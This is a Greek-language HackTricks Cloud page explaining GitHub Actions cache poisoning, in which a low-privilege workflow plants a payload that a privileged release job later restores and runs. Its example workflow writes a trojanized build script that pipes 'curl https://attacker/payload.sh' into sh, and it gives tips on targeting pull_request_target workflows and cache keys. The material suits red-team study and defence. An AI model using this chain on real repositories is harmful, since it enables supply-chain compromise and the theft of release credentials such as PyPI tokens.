GH Actions - Cache Poisoning
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση
Το GitHub Actions cache είναι κοινό/παγκόσμιο για ένα αποθετήριο. Οποιοδήποτε workflow γνωρίζει ένα cache key (ή restore-keys) μπορεί να γεμίσει αυτή την εγγραφή, ακόμη και αν το job έχει μόνο permissions: contents: read. Το GitHub δεν διαχωρίζει τα caches ανά workflow, τύπο event ή επίπεδο εμπιστοσύνης, οπότε ένας επιτιθέμενος που συμβιβάζει ένα job με χαμηλά δικαιώματα μπορεί να μολύνει ένα cache που ένα προνομιούχο release job θα αποκαταστήσει αργότερα. Αυτός είναι ο τρόπος που η Ultralytics compromise μεταπήδησε από ένα pull_request_target workflow στο PyPI publishing pipeline.
Βασικά στοιχεία επίθεσης
actions/cacheπαρέχει λειτουργίες restore και save (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). Η κλήση save επιτρέπεται για οποιοδήποτε job εκτός από πραγματικά μη αξιόπιστα workflowspull_requestπου ενεργοποιούνται από forks.- Οι εγγραφές cache ταυτοποιούνται μόνο από το
key. Ευρείςrestore-keysδιευκολύνουν την έγχυση payloads επειδή ο επιτιθέμενος χρειάζεται μόνο να συγκρουστεί με ένα πρόθεμα. - Το αποθηκευμένο σύστημα αρχείων αποκαθίσταται αυτούσιο. Αν η cache περιέχει scripts ή binaries που εκτελούνται αργότερα, ο επιτιθέμενος ελέγχει αυτήν τη διαδρομή εκτέλεσης.
Παράδειγμα αλυσίδας εκμετάλλευσης
Author workflow (pull_request_target) μόλυνε την cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Η privileged workflow αποκαταστάθηκε και εκτέλεσε την poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
Η δεύτερη εργασία εκτελεί πλέον κώδικα υπό τον έλεγχο του επιτιθέμενου ενώ κατέχει διαπιστευτήρια release (PyPI tokens, PATs, cloud deploy keys, κ.λπ.).
Practical exploitation tips
- Στόχευσε workflows που ενεργοποιούνται από
pull_request_target,issue_commentή εντολές bot που εξακολουθούν να αποθηκεύουν caches· το GitHub τους επιτρέπει να αντικαθιστούν repository-wide keys ακόμη και όταν ο runner έχει μόνο read access στο repo. - Αναζήτησε καθοριστικά κλειδιά cache που επαναχρησιμοποιούνται πέρα από όρια εμπιστοσύνης (για παράδειγμα,
pip-${{ hashFiles('poetry.lock') }}) ή επιτρεπτικάrestore-keys, και αποθήκευσε το κακόβουλο tarball σου πριν τρέξει το privileged workflow. - Παρακολούθησε τα logs για εγγραφές
Cache savedή πρόσθεσε το δικό σου cache-save step ώστε η επόμενη release job να επαναφέρει το payload και να εκτελέσει τα trojanized scripts ή binaries.
References
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

